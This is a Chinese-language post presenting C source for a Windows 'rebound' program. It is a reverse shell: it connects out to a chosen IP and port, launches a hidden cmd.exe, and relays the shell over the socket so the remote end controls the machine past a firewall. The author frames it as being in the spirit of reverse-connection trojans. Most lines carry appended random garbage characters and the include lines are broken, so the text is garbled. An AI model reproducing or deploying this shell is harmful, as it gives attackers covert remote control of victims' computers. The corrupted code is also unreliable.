这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cZ%tJ(&\7X
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/* ============================== o5/BE`VD5c
Rebound port in Windows NT aF/DFaiYv
By wind,2006/7 m|JA}&A
===============================*/ @GXKqi
#include 4SUzR\
#include T5`ML'Dej
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#pragma comment(lib,"wsock32.lib") I>rTqOK
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void OutputShell(); xi"ff.
SOCKET sClient; |t"CH'KJZ
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :tbI=NDb
cK[=IE5
void main(int argc,char **argv) d&G]k!|\
{ r4cz?e|
WSADATA stWsaData; o]V.6Ge-
int nRet; eSIG+{;&
SOCKADDR_IN stSaiClient,stSaiServer; d@^%fVhG
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if(argc != 3) 7Wv.-LD6
{ )cL(()N
printf("Useage:\n\rRebound DestIP DestPort\n"); lA4-ZQ2Zp[
return; 5{W Aw !
} ;d>n2
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WSAStartup(MAKEWORD(2,2),&stWsaData); `3? HQ2n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7L:Eg
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stSaiClient.sin_family = AF_INET; Uufig)6
stSaiClient.sin_port = htons(0); CN` ~DD{
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T_s09Wl
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GwXhn2
{ % u VTf
printf("Bind Socket Failed!\n"); tz?3R#rM
return; I%:?f{\
} ml|FdQ
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stSaiServer.sin_family = AF_INET; ]5@n`;.
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t%e<]2-8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &2.DZ),L
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ &Qv HjjQ?u
printf("Connect Error!"); V=&M\58
return; yMyvX_UNI
} WZHw(BN{+
OutputShell(); Nw9:Gi
} zp:QcL"
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void OutputShell() &RbPN^
{ DC/Czkv9
char szBuff[1024]; fD(r/~Vu
SECURITY_ATTRIBUTES stSecurityAttributes; WC=d@d)M
OSVERSIONINFO stOsversionInfo; i?b9zn
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; b{aB^a:f=L
STARTUPINFO stStartupInfo; 04}8x[t
char *szShell; )\D{5j
PROCESS_INFORMATION stProcessInformation; 2[(~_VJ
unsigned long lBytesRead; WK?5`|1l:x
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xR
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nhMxw@ Z\
stSecurityAttributes.lpSecurityDescriptor = 0; xDl;
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stSecurityAttributes.bInheritHandle = TRUE; /TPtPq<7:#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); JF~9efWe>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6jBi?>[I
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hi$AZ+
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^>ir&$
stStartupInfo.wShowWindow = SW_HIDE; ia_@fQ
stStartupInfo.hStdInput = hReadPipe; ,W[J@4.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?Be}{Qqlg
aaKf4}
GetVersionEx(&stOsversionInfo); 7q;`~tbC
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switch(stOsversionInfo.dwPlatformId) ^$%
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{ (y6}xOa(
case 1: ^Lc\{,m
szShell = "command.com"; _[E+D0A
break; 1|w@f&W"
default: k]$oir
szShell = "cmd.exe"; +ansN~3
break; =+mb@#="m
} uJH[C>
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |
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send(sClient,szMsg,77,0); Djc-f
while(1) A-uIZ
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{ /RqWrpzx@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }Md;=_TP
if(lBytesRead) -@_v@]:
{ Q 318a0
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); eBxm
send(sClient,szBuff,lBytesRead,0); E X'PRNB,
} a9p:k
]{
else ! #!
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{ 6YNL4HE?
lBytesRead=recv(sClient,szBuff,1024,0); qF`6l(
if(lBytesRead<=0) break; =z"+)N
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jZkc
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} NNbdP;=:u
}
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3 1-p/
return; 9`N5$;NzY
}